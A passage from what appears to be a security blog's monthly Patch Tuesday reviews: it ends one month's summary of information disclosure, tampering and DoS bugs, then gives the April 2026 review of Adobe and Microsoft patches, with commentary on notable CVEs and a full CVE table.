Of 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures — improper authorization, files/directories accessible to external parties, and link-following — plus Edge for Android exposing “private personal information” twice and two path-traversal bugs. The remaining 40+ are mostly one-line “exposure of sensitive information to an unauthorized actor” entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.

Only 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That’s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to “malicious uses” enabling tampering over the network. That’s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.

Still with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network. The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all “allocation of resources without limits or throttling”. HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.

No new advisories are being released this month.

Looking Ahead

The next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I’ll be back then to give you my full thoughts on the release – no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

The April 2026 Security Update Review

Sat, 25 Jul 2026 19:00:42 +0200

It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for April 2026

For April, Adobe released 12 bulletins addressing 61 unique CVEs in Adobe Acrobat Reader, InDesign, InCopy, FrameMaker, Connect, ColdFusion, Bridge, Photoshop, Illustrator, Experience Manager Screens, and the Adobe DNG SDK. Three of the Cold Fusion bugs came through the TrendAI ZDI program. For this month, I’m introducing an Adobe table as well. I’d love to get your feedback on whether this is helpful.

Bulletin ID	Product	CVE Count	Highest Severity	Highest CVSS	Exploited	Deployment Priority
APSB26-43	Adobe Acrobat Reader	1	Critical	8.6	Yes	1
APSB26-44	Adobe Acrobat Reader	2	Critical	8.6	No	2
APSB26-32	Adobe InDesign	9	Critical	7.8	No	3
APSB26-33	Adobe InCopy	2	Critical	7.8	No	3
APSB26-36	Adobe FrameMaker	11	Critical	8.6	No	3
APSB26-37	Adobe Connect	9	Critical	9.6	No	3
APSB26-38	Adobe ColdFusion	7	Critical	9.3	No	1
APSB26-39	Adobe Bridge	6	Critical	7.8	No	3
APSB26-40	Adobe Photoshop	1	Critical	7.8	No	3
APSB26-42	Adobe Illustrator	1	Critical	7.8	No	3
APSB26-34	Adobe Experience Manager Screens	9	Important	5.4	No	3
APSB26-41	Adobe DNG SDK	3	Important	5.5	No	3

Obviously, the active attack in Reader is the highest priority for this month, but don’t ignore the second bunch of Reader patches. Cold Fusion also gets a deployment priority of 1, so if you’re still running that platform, make sure you get the update. Otherwise, the FrameMaker and Connect patches fix 11 and nine bugs, respectively. InDesign and Experience Manager Screens also have nine CVEs addressed.

Outside of the Reader bug, none of the other bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release. One of the Reader bugs and Cold Fusion have a deployment priority of one, the other Reader bug has a priority of two, while all of the other updates released by Adobe this month are listed as deployment priority 3.

Microsoft Patches for April 2026

This month, Microsoft released a monstrous 163 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, SQL Server, Hyper-V Server, BitLocker, and the Windows Wallet Service. Counting the third-party and a huge Chromium release, it brings the total number of CVEs to a staggering 247 updates. Six of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, two are rated as Moderate, and the rest are rated Important in severity.

By my count, this is the second-largest monthly release in Microsoft’s history. There are many things we could speculate on to justify the size, but if Microsoft is like the other programs out there (including ours), they are likely seeing a rise in submissions found by AI tools. For us, our incoming rate has essentially tripled, making triage a challenge, to say the least. Whatever the reason, we have a lot of bugs to deal with this month. I should also point out that the Pwn2Own Berlin occurs next month, and it’s typical for vendors to patch as much as they can before the event.

There is one Microsoft bug listed as under active attack at the time of release, and one other that’s publicly known. Let’s take a closer look at some of the more interesting updates for this month, starting with the vulnerability being exploited in the wild:

- CVE-2026-32201 - Microsoft SharePoint Server Spoofing Vulnerability
Microsoft doesn’t provide a lot of information about this bug, but Spoofing bugs in SharePoint often manifest as cross-site scripting (XSS) bugs. They do note that attackers could view information or make changes to disclosed information. As always, they don’t provide any information on how widespread these attacks are, but I wouldn’t wait to test and deploy this fix – especially if you have internet-connected SharePoint servers.

- CVE-2026-33825 - Microsoft Defender Elevation of Privilege Vulnerability
This bug is listed as publicly known, and this time, we know exactly where it was disclosed. There have been some questions about how exploitable this bug may be, but it does look like it’s a real problem – just with some reliability issues in its current state. I won’t add on to the commentary from the researcher about working with Microsoft. I’m just glad they are offering a fix for the vulnerability. If you rely on Defender, test and deploy this one quickly.

- CVE-2026-33827 - Windows TCP/IP Remote Code Execution Vulnerability
This vulnerability allows remote, unauthenticated attackers to exploit code on affected systems without user interaction. That adds up to a wormable bug – at least on systems with IPv6 and IPSec enabled. It is a race condition, which sets exploitability to High on the CVSS scale, but we see race conditions exploited at Pwn2Own all the time, so don’t rely on that obstacle. If you’re running IPv6, I would test and deploy this fix quickly before public exploits become available.

- CVE-2026-33824 - Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability
Speaking of wormable bugs, here’s our second one this month. By the title, we can tell that systems with IKE enabled are affected, but that leaves plenty of targets for attackers. Microsoft also notes a significant mitigation for this bug. Blocking UDP ports 500 and 4500 at the perimeter prevents external attackers from reaching the affected service. However, insiders could still target this for lateral movement within an enterprise. For enterprises using IKE, get this fix tested and deployed with haste.

Here’s the full list of CVEs released by Microsoft for April 2026:

April 2026 Patch Tuesday

CVE	Title	Severity	CVSS	Public	Exploited	Type
CVE-2026-32201	Microsoft SharePoint Server Spoofing Vulnerability	Important	6.5	No	Yes	Spoofing
CVE-2026-5281 *	Chromium: CVE-2026-5281 Use after free in Dawn	High	N/A	No	Yes	RCE
CVE-2026-33825	Microsoft Defender Elevation of Privilege Vulnerability	Important	7.8	Yes	No	EoP
CVE-2026-23666	.NET Framework Denial of Service Vulnerability	Critical	7.5	No	No	DoS
CVE-2026-32190	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-33114	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-33115	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-32157	Remote Desktop Client Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-33826	Windows Active Directory Remote Code Execution Vulnerability	Critical	8	No	No	RCE
CVE-2026-33824	Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-33827	Windows TCP/IP Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-26171	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-32226	.NET Framework Denial of Service Vulnerability	Important	5.9	No	No	DoS
CVE-2026-32178	.NET Spoofing Vulnerability	Important	7.5	No	No	Spoofing
CVE-2026-32203	.NET and Visual Studio Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-33116	.NET, .NET Framework, and Visual Studio Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2023-20585 *	AMD: CVE-2023-20585 IOMMU Write Buffer Vulnerability	Important	5.3	No	No	RCE
CVE-2026-32072	Active Directory Spoofing Vulnerability	Important	6.2	No	No	Spoofing
CVE-2026-25184	Applocker Filter Driver (applockerfltr.sys) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32171	Azure Logic Apps Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-32168	Azure Monitor Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32192	Azure Monitor Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32181	Connected User Experiences and Telemetry Service Denial of Service Vulnerability	Important	5.5	No	No	DoS
CVE-2026-27924	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32152	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32154	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27923	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32155	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23653	GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability	Important	5.7	No	No	Info
CVE-2026-23653 *	GitHub: CVE-2026-32631 'git clone' from manipulated repositories can leak NTLM hashes	Important	7.4	No	No	Info
CVE-2026-33096	HTTP.sys Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-25250 *	MITRE: CVE-2026-25250 Secure Boot disable Eazy Fix	Important	6	No	No	SFB
CVE-2026-26181	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32219	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32091	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	8.4	No	No	EoP
CVE-2026-26152	Microsoft Cryptographic Services Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33103	Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32188	Microsoft Excel Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-32189	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32197	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32198	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32199	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32184	Microsoft High Performance Compute (HPC) Pack Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26155	Microsoft Local Security Authority Subsystem Service Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-27914	Microsoft Management Console Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26149	Microsoft Power Apps Security Feature Bypass	Important	9	No	No	SFB
CVE-2026-32200	Microsoft PowerPoint Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-26143	Microsoft PowerShell Security Feature Bypass Vulnerability	Important	7.8	No	No	SFB
CVE-2026-33120 †	Microsoft SQL Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-20945	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-33822	Microsoft Word Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-33095	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-23657	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32081	Package Catalog Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-26170	PowerShell Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26183	Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26160	Remote Desktop Licensing Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26159	Remote Desktop Licensing Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26151	Remote Desktop Spoofing Vulnerability	Important	7.1	No	No	Spoofing
CVE-2026-32085	Remote Procedure Call Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32167	SQL Server Elevation of Privilege Vulnerability	Important	6.7	No	No	EoP
CVE-2026-32176	SQL Server Elevation of Privilege Vulnerability	Important	6.7	No	No	EoP
CVE-2026-0390	UEFI Secure Boot Security Feature Bypass Vulnerability	Important	6.7	No	No	SFB
CVE-2026-32220	UEFI Secure Boot Security Feature Bypass Vulnerability	Important	4.4	No	No	SFB
CVE-2026-32212	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32214	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32079	Web Account Manager Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-33104	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32196	Windows Admin Center Spoofing Vulnerability	Important	6.1	No	No	Spoofing
CVE-2026-26178	Windows Advanced Rasterization Platform Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-32073	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26168	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26173	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26177	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26182	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27922	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33099	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33100	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32088	Windows Biometric Service Security Feature Bypass Vulnerability	Important	6.1	No	No	SFB
CVE-2026-27913	Windows BitLocker Security Feature Bypass Vulnerability	Important	7.7	No	No	SFB
CVE-2026-26175	Windows Boot Manager Security Feature Bypass Vulnerability	Important	4.6	No	No	SFB
CVE-2026-32162	Windows COM Elevation of Privilege Vulnerability	Important	8.4	No	No	EoP
CVE-2026-20806	Windows COM Server Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-26176	Windows Client Side Caching driver (csc.sys) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27926	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32070	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33098	Windows Container Isolation FS Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26153	Windows Encrypted File System (EFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32087	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32093	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32086	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32150	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27931	Windows GDI Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-27930	Windows GDI Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32221	Windows Graphics Component Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-27906	Windows Hello Security Feature Bypass Vulnerability	Important	4.4	No	No	SFB
CVE-2026-27928	Windows Hello Security Feature Bypass Vulnerability	Important	8.7	No	No	SFB
CVE-2026-26156	Windows Hyper-V Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32149	Windows Hyper-V Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-27910	Windows Installer Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27912	Windows Kerberos Elevation of Privilege Vulnerability	Important	8	No	No	EoP
CVE-2026-26179	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26180	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32195	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26163	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32215	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32217	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32218	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-26169	Windows Kernel Memory Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-27929	Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32071	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-20930	Windows Management Services Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26162	Windows OLE Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-33101	Windows Print Spooler Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32084	Windows Print Spooler Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-27927	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26184	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32069	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32074	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32078	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26167	Windows Push Notifications Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-32158	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32159	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32160	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26172	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-20928	Windows Recovery Environment Security Feature Bypass Vulnerability	Important	4.6	No	No	SFB
CVE-2026-32216	Windows Redirected Drive Buffering System Denial of Service Vulnerability	Important	5.5	No	No	DoS
CVE-2026-27909	Windows Search Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26161	Windows Sensor Data Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26174	Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32224	Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26154	Windows Server Update Service (WSUS) Tampering Vulnerability	Important	7.5	No	No	Tampering
CVE-2026-26165	Windows Shell Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26166	Windows Shell Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27918	Windows Shell Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32151	Windows Shell Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-32225	Windows Shell Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-32202	Windows Shell Spoofing Vulnerability	Important	4.3	No	No	Spoofing
CVE-2026-32082	Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32083	Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32068	Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32183	Windows Snipping Tool Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32089	Windows Speech Brokered Api Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32090	Windows Speech Brokered Api Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32153	Windows Speech Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27907	Windows Storage Spaces Controller Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32076	Windows Storage Spaces Controller Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27908	Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27921	Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27915	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27919	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32075	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27916	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27920	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32077	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27925	Windows UPnP Device Host Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-32156	Windows UPnP Device Host Remote Code Execution Vulnerability	Important	7.4	No	No	RCE
CVE-2026-32223	Windows USB Printing Stack (usbprint.sys) Elevation of Privilege Vulnerability	Important	6.8	No	No	EoP
CVE-2026-32165	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27911	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32163	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32164	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23670	Windows Virtualization-Based Security (VBS) Security Feature Bypass Vulnerability	Important	5.7	No	No	SFB
CVE-2026-27917	Windows WFP NDIS Lightweight Filter Driver (wfplwfs.sys) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32080	Windows WalletService Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32222	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21637 *	HackerOne: CVE-2026-21637 TLS PSK/ALPN Callback Exceptions Bypass Error Handlers	Moderate	7.5	No	No	SFB
CVE-2026-33119	Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability	Moderate	5.4	No	No	Spoofing
CVE-2026-33829	Windows Snipping Tool Spoofing Vulnerability	Moderate	4.3	No	No	Spoofing
CVE-2026-5858 *	Chromium: CVE-2026-5858 Heap buffer overflow in WebML	Critical	N/A	No	No	RCE
CVE-2026-5859 *	Chromium: CVE-2026-5859 Integer overflow in WebML	Critical	N/A	No	No	RCE
CVE-2026-5272 *	Chromium: CVE-2026-5272 Heap buffer overflow in GPU	High	N/A	No	No	RCE
CVE-2026-5273 *	Chromium: CVE-2026-5273 Use after free in CSS	High	N/A	No	No	RCE
CVE-2026-5274 *	Chromium: CVE-2026-5274 Integer overflow in Codecs	High	N/A	No	No	RCE
CVE-2026-5275 *	Chromium: CVE-2026-5275 Heap buffer overflow in ANGLE	High	N/A	No	No	RCE
CVE-2026-5276 *	Chromium: CVE-2026-5276 Insufficient policy enforcement in WebUSB	High	N/A	No	No	SFB
CVE-2026-5277 *	Chromium: CVE-2026-5277 Integer overflow in ANGLE	High	N/A	No	No	RCE
CVE-2026-5279 *	Chromium: CVE-2026-5279 Object corruption in V8	High	N/A	No	No	RCE
CVE-2026-5280 *	Chromium: CVE-2026-5280 Use after free in WebCodecs	High	N/A	No	No	RCE
CVE-2026-5283 *	Chromium: CVE-2026-5283 Inappropriate implementation in ANGLE	High	N/A	No	No	SFB
CVE-2026-5284 *	Chromium: CVE-2026-5284 Use after free in Dawn	High	N/A	No	No	RCE
CVE-2026-5285 *	Chromium: CVE-2026-5285 Use after free in WebGL	High	N/A	No	No	RCE
CVE-2026-5286 *	Chromium: CVE-2026-5286 Use after free in Dawn	High	N/A	No	No	RCE
CVE-2026-5287 *	Chromium: CVE-2026-5287 Use after free in PDF	High	N/A	No	No	RCE
CVE-2026-5289 *	Chromium: CVE-2026-5289 Use after free in Navigation	High	N/A	No	No	RCE
CVE-2026-5290 *	Chromium: CVE-2026-5290 Use after free in Compositing	High	N/A	No	No	RCE
CVE-2026-5860 *	Chromium: CVE-2026-5860 Use after free in WebRTC	High	N/A	No	No	RCE
CVE-2026-5861 *	Chromium: CVE-2026-5861 Use after free in V8	High	N/A	No	No	RCE
CVE-2026-5862 *	Chromium: CVE-2026-5862 Inappropriate implementation in V8	High	N/A	No	No	SFB
CVE-2026-5863 *	Chromium: CVE-2026-5863 Inappropriate implementation in V8	High	N/A	No	No	SFB
CVE-2026-5864 *	Chromium: CVE-2026-5864 Heap buffer overflow in WebAudio	High	N/A	No	No	RCE
CVE-2026-5865 *	Chromium: CVE-2026-5865 Type Confusion in V8	High	N/A	No	No	RCE
CVE-2026-5866 *	Chromium: CVE-2026-5866 Use after free in Media	High	N/A	No	No	RCE
CVE-2026-5867 *	Chromium: CVE-2026-5867 Heap buffer overflow in WebML	High	N/A	No	No	RCE
CVE-2026-5868 *	Chromium: CVE-2026-5868 Heap buffer overflow in ANGLE	High	N/A	No	No	RCE
CVE-2026-5869 *	Chromium: CVE-2026-5869 Heap buffer overflow in WebML	High	N/A	No	No	RCE
CVE-2026-5870 *	Chromium: CVE-2026-5870 Integer overflow in Skia	High	N/A	No	No	RCE
CVE-2026-5871 *	Chromium: CVE-2026-5871 Type Confusion in V8	High	N/A	No	No	RCE
CVE-2026-5872 *	Chromium: CVE-2026-5872 Use after free in Blink	High	N/A	No	No	RCE
CVE-2026-5873 *	Chromium: CVE-2026-5873 Out of bounds read and write in V8	High	N/A	No	No	RCE
CVE-2026-5291 *	Chromium: CVE-2026-5291 Inappropriate implementation in WebGL	Medium	N/A	No	No	SFB
CVE-2026-5292 *	Chromium: CVE-2026-5292 Out of bounds read in WebCodecs	Medium	N/A	No	No	Info
CVE-2026-5874 *	Chromium: CVE-2026-5874 Use after free in PrivateAI	Medium	N/A	No	No	RCE
CVE-2026-5875 *	Chromium: CVE-2026-5875 Policy bypass in Blink	Medium	N/A	No	No	SFB
CVE-2026-5876 *	Chromium: CVE-2026-5876 Side-channel information leakage in Navigation	Medium	N/A	No	No	Info
CVE-2026-5877 *	Chromium: CVE-2026-5877 Use after free in Navigation	Medium	N/A	No	No	RCE
CVE-2026-5878 *	Chromium: CVE-2026-5878 Incorrect security UI in Blink	Medium	N/A	No	No	Spoofing
CVE-2026-5879 *	Chromium: CVE-2026-5879 Insufficient validation of untrusted input in ANGLE	Medium	N/A	No	No	SFB
CVE-2026-5880 *	Chromium: CVE-2026-5880 Incorrect security UI in browser UI	Medium	N/A	No	No	Spoofing
CVE-2026-5881 *	Chromium: CVE-2026-5881 Policy bypass in LocalNetworkAccess	Medium	N/A	No	No	SFB
CVE-2026-5882 *	Chromium: CVE-2026-5882 Incorrect security UI in Fullscreen	Medium	N/A	No	No	Spoofing
CVE-2026-5883 *	Chromium: CVE-2026-5883 Use after free in Media	Medium	N/A	No	No	RCE
CVE-2026-5884 *	Chromium: CVE-2026-5884 Insufficient validation of untrusted input in Media	Medium	N/A	No	No	SFB
CVE-2026-5885 *	Chromium: CVE-2026-5885 Insufficient validation of untrusted input in WebML	Medium	N/A	No	No	SFB
CVE-2026-5886 *	Chromium: CVE-2026-5886 Out of bounds read in WebAudio	Medium	N/A	No	No	Info
CVE-2026-5887 *	Chromium: CVE-2026-5887 Insufficient validation of untrusted input in Downloads	Medium	N/A	No	No	SFB
CVE-2026-5888 *	Chromium: CVE-2026-5888 Uninitialized Use in WebCodecs	Medium	N/A	No	No	RCE
CVE-2026-5889 *	Chromium: CVE-2026-5889 Cryptographic Flaw in PDFium	Medium	N/A	No	No	SFB
CVE-2026-5890 *	Chromium: CVE-2026-5890 Race in WebCodecs	Medium	N/A	No	No	RCE
